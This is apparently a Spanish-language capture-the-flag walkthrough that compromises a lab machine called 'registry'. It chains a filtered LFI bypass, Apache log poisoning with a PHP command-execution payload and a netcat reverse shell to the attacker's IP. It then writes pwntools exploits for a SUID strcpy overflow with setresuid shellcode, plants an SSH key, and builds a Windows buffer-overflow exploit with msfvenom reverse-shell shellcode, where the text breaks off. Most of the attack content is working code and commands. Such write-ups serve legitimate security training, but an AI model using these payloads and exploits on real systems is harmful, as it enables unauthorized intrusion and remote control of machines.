Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos solo 2 puertos abiertos, donde corren los servicios ssh
y http
❯ nmap 192.168.100.72
Nmap scan report for 192.168.100.72
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
En la web principal encontramos un botón llamado Sign Up
, el cual nos redirige a default.php
, este lo gestiona desde el index.php con el parametro page
por GET
Si probamos el tipico LFI para cargar el archivo /etc/passwd
retrocediendo un par de directorios a la raiz con ../
no nos devuelve ningun contenido en la respuesta
❯ curl "http://192.168.100.72/index.php?page=../../../etc/passwd"
Es posible que se este sanitizando por lo que se elimina el ../
, al usar el bypass ....//
nos carga el archivo correctamente y logramos leer el contenido del passwd
❯ curl "http://192.168.100.72/index.php?page=....//....//....//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
gato:x:1000:1000:gato:/home/gato:/bin/bash
uuidd:x:108:112::/run/uuidd:/usr/sbin/nologin
user:x:1001:1001::/home/user:/bin/bash
cxdxnt:x:1002:1002::/home/cxdxnt:/bin/bash
Shell - www-data
A través del LFI tambien logramos leer el contenido del archivo access.log
el cual pertenece apache y en el se guardan logs
de las peticiones hechas a la web
❯ curl "http://192.168.100.72/index.php?page=....//....//....//var/log/apache2/access.log"
192.168.100.70 - - "GET / HTTP/1.1" 200 6111 "-" "-"
192.168.100.70 - - "GET /index.php?page=default.php HTTP/1.1" 200 1692 "http://192.168.100.72/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
192.168.100.70 - - "GET /index.php?page=../../../etc/passwd HTTP/1.1" 200 147 "-" "curl/7.88.1"
192.168.100.70 - - "GET /index.php?page=....//....//....//etc/passwd HTTP/1.1" 200 1729 "-" "curl/7.88.1"
Podemos envenenar el archivo de logs y a traves del User Agent
inyectar un php
para ejecutar comandos y ya que lo cargamos desde la web este se interpretara
❯ curl "http://192.168.100.72/" -A "<?php system(\$_REQUEST['cmd']); ?>"
Al hacer una peticion al access.log
se interpreta el php por lo que si en el parametro cmd
enviamos el comando id
este se ejecutara en el sistema como www-data
❯ curl "http://192.168.100.72/index.php?page=....//....//....//var/log/apache2/access.log" -d "cmd=id"
192.168.100.70 - - "GET / HTTP/1.1" 200 6111 "-" "-"
192.168.100.70 - - "GET /index.php?page=default.php HTTP/1.1" 200 1692 "http://192.168.100.72/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
192.168.100.70 - - "GET /index.php?page=../../../etc/passwd HTTP/1.1" 200 147 "-" "curl/7.88.1"
192.168.100.70 - - "GET /index.php?page=....//....//....//etc/passwd HTTP/1.1" 200 1729 "-" "curl/7.88.1"
192.168.100.70 - - "GET /index.php?page=....//....//....//var/log/apache2/access.log HTTP/1.1" 200 28320 "-" "curl/7.88.1"
192.168.100.70 - - "GET / HTTP/1.1" 200 6111 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)"
Ya que ejecutamos comandos basta con cambiar el contenido del parametro cmd
por un comando de netcat
que nos envie una bash para asi enviarnos una reverse shell
❯ curl "http://192.168.100.72/index.php?page=....//....//....//var/log/apache2/access.log" -d "cmd=netcat -e /bin/bash 192.168.100.70 443"
Al hacerlo recibimos una shell como el usuario www-data
en la maquina victima
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.72
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@registry:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@registry:~/html$ hostname -I
192.168.100.72
www-data@registry:~/html$
Shell - cxdxnt
Buscando binarios que tengan asignados privilegios suid
encontramos uno que destaca y es el binario llamado program
, el cual pertenece al usuario cxdxnt
www-data@registry:~$ find / -perm -u+s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/libexec/polkit-agent-helper-1
/opt/others/program
www-data@registry:~$ ls -l /opt/others/program
-rwsr-xr-x 1 cxdxnt cxdxnt 15976 Jul 24 03:44 /opt/others/program
www-data@registry:~$
Al ejecutar el binarios nos pide que le pasemos como argumento
un nombre, sin embargo al pasarle el argumento no parece hacer nada realmente interesante
www-data@registry:~$ /opt/others/program
Usage: /opt/others/program <name>
www-data@registry:~$ /opt/others/program name
www-data@registry:~$
Podemos pasar el compilado a nuestra maquina y abrirlo con ida
para asi decompilarlo y ver su codigo en C
para entender exactamente su funcionamiento
En realidad es bastante simple, la función main
comprueba que se reciba un argumento
, si la condicion se cumple llama a la funcion vuln()
con el argumento
int __fastcall main(int argc, const char **argv, const char **envp)
{
if ( argc > 1 )
return (unsigned int)vuln(argv[1]);
else
return printf("Usage: %s <name>\n", *argv);
}
La funcion vuln
define un buffer para la variable buffer
para despues ejecutar la funcion strcpy
pasandole como argumentos la variable y el buffer
definido
char *__fastcall vuln(const char *param_1)
{
char buffer[128]; // [rsp+10h] [rbp-80h] BYREF
return strcpy(buffer, param_1);
}
Sabemos que la funcion strcpy
es conocida por ser vulnerable, pero ademas este no tiene ninguna proteccion
lo que facilita su explotacion de un buffer overflow
❯ checksec /opt/others/program
[*] '/home/kali/program'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Podemos abrir el programa con gdb
y agregarle un argumento de 150
caracteres especialmente diseñados para encontrar el offset
, despues corremos el programa
❯ gdb -q program
Reading symbols from program...
(No debugging symbols found in program)
pwndbg> cyclic 150
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
pwndbg> run aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
Starting program: /home/kali/program aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011d9 in vuln ()
pwndbg>
Lo primero sera buscar el offset
, que es la cantidad de bytes necesarios antes de sobreescribir el registro puntero
que espera una instruccion, en este caso son 136
pwndbg> x/gx $rsp
0x7fffffffe4b8: 0x6161616161616172
pwndbg> cyclic -l 0x6161616161616172
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136
pwndbg>
Podemos buscar algunos gadgets
, en este caso encontramos 3 instrucciones de las cuales 2 hacen un jmp
y la otra simplemente un call
, todo esto al registro RAX
❯ ropper --file program --jmp rax
JMP Instructions
================
0x0000000000401014: call rax;
0x00000000004010cc: jmp rax;
0x000000000040110e: jmp rax;
3 gadgets found
Nuestro payload sera el siguiente, iniciamos por un shellcode
en x64 que ejecute una /bin/sh
, despues rellenamos con A's
hasta llegar al RIP
y hacemos que este apunte a la direccion de la intrucción call rax
, esta instruccion interpretara el registro rax
donde esta el inicio de nuestro input
y ejecutara nuestro shellcode
Definimos toda la idea anterior en un script de python ayudandonos de las pwntools
#!/usr/bin/python3
from pwn import *
offset = 136
shellcode = asm(shellcraft.amd64.sh(), arch="amd64")
junk = b"A" * (offset - len(shellcode))
callrax = p32(0x401014)
payload = shellcode + junk + callrax
shell = process(["/opt/others/program", payload])
shell.interactive()
Sin embargo al ejecutar el script este nos devuelve una shell pero como el usuario www-data
, esto es porque en ningun momento el compilado ejecuta un setuid()
www-data@registry:~$ python3 exploit.py
[+] Starting local process '/opt/others/program': pid 1044
[*] Switching to interactive mode
$ whoami
www-data
$
El identificador del usuario cxdxnt
que es propietario del binario es el id 1002
www-data@registry:~$ id cxdxnt
uid=1002(cxdxnt) gid=1002(cxdxnt) groups=1002(cxdxnt)
www-data@registry:~$
Al shellcode del script podemos agregar un setresuid
a 1002
antes de /bin/sh
para de esta manera ajustar nuestro id y que la shell nos la devuelva como cxdxnt
#!/usr/bin/python3
from pwn import *
offset = 136
shellcode = b""
shellcode += asm(shellcraft.amd64.setresuid(1002, 1002), arch="amd64")
shellcode += asm(shellcraft.amd64.sh(), arch="amd64")
junk = b"A" * (offset - len(shellcode))
callrax = p32(0x401014)
payload = shellcode + junk + callrax
shell = process(["/opt/others/program", payload])
shell.interactive()
Al ejecutarlo nos otorga una sh como cxdxnt
donde podemos leer la primera flag
www-data@registry:~$ python3 exploit.py
[+] Starting local process '/opt/others/program': pid 1044
[*] Switching to interactive mode
$ whoami
cxdxnt
$ hostname -I
192.168.100.72
$ cat /home/cxdxnt/user.txt
REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}
$
Para mejorar la shell podemos enviar nuestra id_rsa.pub
como authorized_keys
del usuario para de esta manera conectarnos por ssh
sin proporcionar contraseña
$ mkdir /home/cxdxnt/.ssh
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOChqNfHuH3wAgahGKW0RarFeScPycw5i9gJsIjvDWWS kali@kali" > /home/cxdxnt/.ssh/authorized_keys
$
❯ ssh cxdxnt@192.168.100.72
cxdxnt@registry:~$ id
uid=1002(cxdxnt) gid=1002(cxdxnt) groups=1002(cxdxnt)
cxdxnt@registry:~$ hostname -I
192.168.100.72
cxdxnt@registry:~$ cat user.txt
REGISTRY{4R3_Y0U_R34D1N6_MY_F1L35?}
cxdxnt@registry:~$
Shell - gato
A nivel de sudoers el usuario cxdxnt
puede ejecutar wine
como el usuario gato
pasandole como argumento el binario MyFirstProgram.exe
sin contraseña
cxdxnt@registry:~$ sudo -l
Matching Defaults entries for cxdxnt on registry:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User cxdxnt may run the following commands on registry:
(gato : gato) NOPASSWD: /usr/bin/wine /opt/projects/MyFirstProgram.exe
cxdxnt@registry:~$
Primero descargaremos el archivo MyFirstProgram.exe
en nuestro equipo y despues de instalar el paquete wine32
para poder ejecutar el programa lo corremos
❯ wine MyFirstProgram.exe
[+] Listening for connections.
Despues de ejecutarlo se nos abre el puerto 42424
donde espera una conexion
❯ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:42424 0.0.0.0:* LISTEN
Nos conectamos y enviamos una cadena de texto, lo unico que devuelve es ERROR
❯ netcat 127.0.0.1 42424
testing
ERROR testing...
Del lado del exe simplemente muestra la cantidad de bytes
recibidos y enviados
❯ wine MyFirstProgram.exe
[+] Listening for connections.
Received connection from remote host.
Connection handed off to handler thread.
Bytes received: 8
Bytes sent: 17
Ya que anteriormente explotamos un Buffer Overflow
podemos enviar varias veces la A
para intentar sobreescribir registros
para ver si es vulnerable y se corrompe
❯ netcat 127.0.0.1 42424
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Volvemos al exe y podemos ver que el programa se corrompe
ya que el puntero
se ha sobreescrito y no sabe que hacer cuando se apunta a la direccion 0x41414141
❯ wine MyFirstProgram.exe
[+] Listening for connections.
Received connection from remote host.
Connection handed off to handler thread.
Bytes received: 151
send failed: 10038
wine: Unhandled page fault on read access to 41414141 at address 41414141 (thread 010c), starting debugger...
Unhandled exception: page fault on read access to 0x41414141 in 32-bit code (0x41414141).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:41414141 ESP:00d319a4 EBP:41414141 EFLAGS:00010286( R- -- I S - -P- )
EAX:ffffffff EBX:00344e20 ECX:00d31904 EDX:00000008
ESI:00a204d0 EDI:00000000
Stack dump:
0x00d319a4: 0a2e2e2e 00d31900 41414141 41414141
0x00d319b4: 41414141 41414141 41414141 41414141
0x00d319c4: 41414141 41414141 41414141 41414141
0x00d319d4: 41414141 41414141 41414141 41414141
0x00d319e4: 41414141 41414141 41414141 41414141
0x00d319f4: 41414141 41414141 41414141 41414141
Backtrace:
=>0 0x41414141 (0x41414141)
0x41414141: -- no code accessible --
Podemos usar una version modificada para binarios de windows de checksec para ver las protecciones
del binario, sin embargo no tiene ninguna de ellas habilitada
❯ python3 checksec.py MyFirstProgram.exe
[*] '/home/kali/MyFirstProgram.exe'
ASLR: False
SafeSEH: False
DEP: False
ControlFlowGuard: False
HighEntropyVA: False
Para explotar el Buffer Overflow
hay muchas formas, en este caso lo haremos con winedbg
incluido con wine32 y la extension pwndbg para gdb solo por comodidad
❯ winedbg --gdb MyFirstProgram.exe
Reading symbols from /home/kali/MyFirstProgram.exe...
(No debugging symbols found in /home/kali/MyFirstProgram.exe)
0x7bc565b1 in DbgBreakPoint@0 () from /home/kali/.wine/dosdevices/c:/windows/system32/ntdll.dll
Wine-gdb>
Una vez abierto el programa con winedbg
simplemente continuamos el programa
Wine-gdb> continue
Continuing.
Podemos crear un script en python
el cual enviara un patron especial de 150 caracteres para poder buscar el offset cuando corrompe al puerto local 42424
#!/usr/bin/python3
from pwn import remote, cyclic
payload = cyclic(150)
shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()
Al ejecutar el script este envia la data al programa y que se corrompe en winedbg
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done
[*] Closed connection to 127.0.0.1 port 42424
Wine-gdb> continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x616d6261 in ?? ()
Wine-gdb>
Solo nos queda calcular el offset
el cual son los bytes
necesarios antes de sobreescribir el registro EIP
osea el puntero, en este caso son solo 146
bytes
Wine-gdb> cyclic -l $eip
Finding cyclic pattern of 4 bytes: b'abma' (hex: 0x61626d61)
Found at offset 146
Wine-gdb>
Tenemos el offset, modificamos el script para enviar A's
hasta llegar al offset y en el registro EIP
enviaremos 4 B's
por lo que el puntero deberia ser 0x42424242
#!/usr/bin/python3
from pwn import remote
offset = 146
junk = b"A" * offset
eip = b"B" * 4
payload = junk + eip
shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()
Al ejecutar el script el programa nuevamente corrompe pero esta vez el EIP
es 0x42424242
que equivale a nuestras B's
quiere decir que controlamos el puntero
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done
[*] Closed connection to 127.0.0.1 port 42424
Wine-gdb> continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Wine-gdb>
Para detectar badchars
al script agregaremos todos los posibles bytes desde 0x00
hasta 0xff
despues del puntero para verlos en la pila
y ver su representacion
#!/usr/bin/python3
from pwn import remote
offset = 146
junk = b"A" * offset
eip = b"B" * 4
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = junk + eip + badchars
shell = remote("127.0.0.1", 42424)
shell.sendline(payload)
shell.close()
Ejecutamos el script y nuevamente se detiene en 0x42424242
pero esta vez todos los posibles caracteres estan en la pila
, asi que podemos ver su representacion
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 42424: Done
[*] Closed connection to 127.0.0.1 port 42424
Wine-gdb> continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Wine-gdb>
Despues de encotrar la direccion donde se almacenan los bytes los siguientes 256
son los posibles badchars, si son badchars
estos estaran representados como 0x00
Wine-gdb> x/256bx 0xd31a42
0xd31a42: 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07
0xd31a4a: 0x08 0x09 0x00 0x0b 0x0c 0x0d 0x0e 0x0f
0xd31a52: 0x10 0x11 0x12 0x13 0x14 0x15 0x16 0x17
0xd31a5a: 0x18 0x19 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f
0xd31a62: 0x20 0x21 0x22 0x23 0x24 0x25 0x26 0x27
0xd31a6a: 0x28 0x29 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f
0xd31a72: 0x30 0x31 0x32 0x33 0x34 0x35 0x36 0x37
0xd31a7a: 0x38 0x39 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f
0xd31a82: 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47
0xd31a8a: 0x48 0x49 0x4a 0x4b 0x4c 0x4d 0x4e 0x4f
0xd31a92: 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57
0xd31a9a: 0x58 0x59 0x5a 0x5b 0x5c 0x5d 0x5e 0x5f
0xd31aa2: 0x60 0x61 0x62 0x63 0x64 0x65 0x66 0x67
0xd31aaa: 0x68 0x69 0x6a 0x6b 0x6c 0x6d 0x6e 0x6f
0xd31ab2: 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77
0xd31aba: 0x78 0x79 0x7a 0x7b 0x7c 0x7d 0x7e 0x7f
0xd31ac2: 0x80 0x81 0x82 0x83 0x84 0x85 0x86 0x87
0xd31aca: 0x88 0x89 0x8a 0x8b 0x8c 0x8d 0x8e 0x8f
0xd31ad2: 0x90 0x91 0x92 0x93 0x94 0x95 0x96 0x97
0xd31ada: 0x98 0x99 0x9a 0x9b 0x9c 0x9d 0x9e 0x9f
0xd31ae2: 0xa0 0xa1 0xa2 0xa3 0xa4 0xa5 0xa6 0xa7
0xd31aea: 0xa8 0xa9 0xaa 0xab 0xac 0xad 0xae 0xaf
0xd31af2: 0xb0 0xb1 0xb2 0xb3 0xb4 0xb5 0xb6 0xb7
0xd31afa: 0xb8 0xb9 0xba 0xbb 0xbc 0xbd 0xbe 0xbf
0xd31b02: 0xc0 0xc1 0xc2 0xc3 0xc4 0xc5 0xc6 0xc7
0xd31b0a: 0xc8 0xc9 0xca 0xcb 0xcc 0xcd 0xce 0xcf
0xd31b12: 0xd0 0xd1 0xd2 0xd3 0xd4 0xd5 0xd6 0xd7
0xd31b1a: 0xd8 0xd9 0xda 0xdb 0xdc 0xdd 0xde 0xdf
0xd31b22: 0xe0 0xe1 0xe2 0xe3 0xe4 0xe5 0xe6 0xe7
0xd31b2a: 0xe8 0xe9 0xea 0xeb 0xec 0xed 0xee 0xef
0xd31b32: 0xf0 0xf1 0xf2 0xf3 0xf4 0xf5 0xf6 0xf7
0xd31b3a: 0xf8 0xf9 0xfa 0xfb 0xfc 0xfd 0xfe 0xff
Wine-gdb>
En este caso vemos representados 2, el primer 0x00
del inicio de los caracteres y la segunda esta justo antes de 0x0b
por lo que deberia ser 0x0a
, al representarse asi quiere decir que no se interpreta correctamente, los badchars son 0x00
y 0x0a
Wine-gdb> x/4bx 0xd31a42
0xd31a42: 0x00 0x01 0x02 0x03
Wine-gdb> x/4bx 0xd31a4c
0xd31a4c: 0x00 0x0b 0x0c 0x0d
Wine-gdb>
Con ropper
buscamos una direccion que nos ejecute la instruccion JMP ESP
❯ ropper --file MyFirstProgram.exe --search "jmp esp;"
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: jmp esp;
[INFO] File: MyFirstProgram.exe
0x080414c3: jmp esp;
Finalmente con msfvenom
creamos un shellcode el cual nos envie una revshell, sin embargo como vimos en la maquina Brainpan 1 el encoder shikata_ga_nai
nos dara problemas asi que usaremos jmp_call_additive
para evitar los problemas
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.70 LPORT=443 EXITFUNC=thread -b '\x00\x0a' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\xd2\x6e\xc9\x22\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x2e\x86\x4b\x22\xce\x57\x2c\xaa"
shellcode += b"\x2b\x66\x6c\xc8\x38\xd9\x5c\x9a\x6c\xd6\x17"
shellcode += b"\xce\x84\x6d\x55\xc7\xab\xc6\xd0\x31\x82\xd7"
shellcode += b"\x49\x01\x85\x5b\x90\x56\x65\x65\x5b\xab\x64"
shellcode += b"\xa2\x86\x46\x34\x7b\xcc\xf5\xa8\x08\x98\xc5"
shellcode += b"\x43\x42\x0c\x4e\xb0\x13\x2f\x7f\x67\x2f\x76"
shellcode += b"\x5f\x86\xfc\x02\xd6\x90\xe1\x2f\xa0\x2b\xd1"
shellcode += b"\xc4\x33\xfd\x2b\x24\x9f\xc0\x83\xd7\xe1\x05"
shellcode += b"\x23\x08\x94\x7f\x57\xb5\xaf\x44\x25\x61\x25"
shellcode += b"\x5e\x8d\xe2\x9d\xba\x2f\x26\x7b\x49\x23\x83"
shellcode += b"\x0f\x15\x20\x12\xc3\x2e\x5c\x9f\xe2\xe0\xd4"
shellcode += b"\xdb\xc0\x24\xbc\xb8\x69\x7d\x18\x6e\x95\x9d"
shellcode += b"\xc3\xcf\x33\xd6\xee\x04\x4e\xb5\x66\xe8\x63"
shellcode += b"\x45\x77\x66\xf3\x36\x45\x29\xaf\xd0\xe5\xa2"
shellcode += b"\x69\x27\x09\x99\xce\xb7\xf4\x22\x2f\x9e\x32"
shellcode += b"\x76\x7f\x88\x93\xf7\x14\x48\x1b\x22\xba\x18"
shellcode += b"\xb3\x9d\x7b\xc8\x73\x4e\x14\x02\x7c\xb1\x04"
shellcode += b"\x2d\x56\xda\xaf\xd4\x31\x25\x87\xb2\x87\xcd"
shellcode += b"\xda\x3a\x09\xb5\x52\xdc\x63\xd9\x32\x77\x1c"
shellcode += b"\x40\x1f\x03\xbd\x8d\xb5\x6e\xfd\x06\x3a\x8f"
shellcode += b"\xb0\xee\x37\x83\x25\x1f\x02\xf9\xe0\x20\xb8"
shellcode += b"\x95\x6f\xb2\x27\x65\xf9\xaf\xff\x32\xae\x1e"
shellcode += b"\xf6\xd6\x42\x38\xa0\xc4\x9e\xdc\x8b\x4c\x45"
shellcode += b"\x1d\x15\x4d\x08\x19\x31\x5d\xd4\xa2\x7d\x09"
shellcode += b"\x88\xf4\x2b\xe7\x6e\xaf\x9d\x51\x39\x1c\x74"
shellcode += b"\x35\xbc\x6e\x47\x43\xc1\xba\x31\xab\x70\x13"
shellcode += b"\x04\xd4\xbd\xf3\x80\xad\xa3\x63\x6e\x64\x60"
shellcode += b"\x83\x8d\xac\x9d\x2c\x08\x25\x1c\x31\xab\x90"
shellcode += b"\x63\x4c\x28\x10\x1c\xab\x30\x51\x19\xf7\xf6"
shellcode += b"\x8a\x53\x68\x93\xac\xc0\x89\xb6\xac\xe6\x75"
shellcode += b"\x39"
Ahora definimos nuestro payload en el script de python
donde rellenaremos con A's
hasta llegar al EIP
, y haremos un JMP ESP
donde ejecutaremos el shellcode
#!/usr/bin/python3
from pwn import remote, p32
offset = 146
junk = b"A" * offset
jmpesp = p32(0x080414c3)
shellcode = b""
shellcode += b"\xfc\xbb\xd2\x6e\xc9\x22\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x2e\x86\x4b\x22\xce\x57\x2c\xaa"
shellcode += b"\x2b\x66\x6c\xc8\x38\xd9\x5c\x9a\x6c\xd6\x17"
shellcode += b"\xce\x84\x6d\x55\xc7\xab\xc6\xd0\x31\x82\xd7"
shellcode += b"\x49\x01\x85\x5b\x90\x56\x65\x65\x5b\xab\x64"
shellcode += b"\xa2\x86\x46\x34\x7b\xcc\xf5\xa8\x08\x98\xc5"
shellcode += b"\x43\x42\x0c\x4e\xb0\x13\x2f\x7f\x67\x2f\x76"
shellcode += b"\x5f\x86\xfc\x02\xd6\x90\xe1\x2f\xa0\x2b\xd1"
shellcode += b"\xc4\x33\xfd\x2b\x24\x9f\xc0\x83\xd7\xe1\x05"
shellcode += b"\x23\x08\x94\x7f\x57\xb5\xaf\x44\x25\x61\x25"
shellcode += b"\x5e\x8d\xe2\x9d\xba\x2f\x26\x7b\x49\x23\x83"
shellcode += b"\x0f\x15\x20\x12\xc3\x2e\x5c\x9f\xe2\xe0\xd4"
shellcode += b"\xdb\xc0\x24\xbc\xb8\x69\x7d\x18\x6e\x95\x9d"
shellcode += b"\xc3\xcf\x33\xd6\xee\x04\x4e\xb5\x66\xe8\x63"
shellcode += b"\x45\x77\x66\xf3\x36\x45\x29\xaf\xd0\xe5\xa2"
shellcode += b"\x69\x27\x09\x99\xce\xb7\xf4\x22\x2f\x9e\x32"
shellcode += b"\x76\x7f\x88\x93\xf7\x14\x48\x1b\x22\xba\x18"
shellcode += b"\xb3\x9d\x7b\xc8\x73\x4e\x14\x02\x7c\xb1\x04"
shellcode += b"\x2d\x56\xda\xaf\xd4\x31\x25\x87\xb2\x87\xcd"
shellcode += b"\xda\x3a\x09\xb5\x52\xdc\x63\xd9\x32\x77\x1c"
shellcode += b"\x40\x1f\x03\xbd\x8d\xb5\x6e\xfd\x06\x3a\x8f"
shellcode += b"\xb0\xee\x37\x83\x25\x1f\x02\xf9\xe0\x20\xb8"
shellcode += b"\x95\x6f\xb2\x27\x65\xf9\xaf\xff\x32\xae\x1e"
shellcode += b"\xf6\xd6\x42\x38\xa0\xc4\x9e\xdc\x8b\x4c\x45"
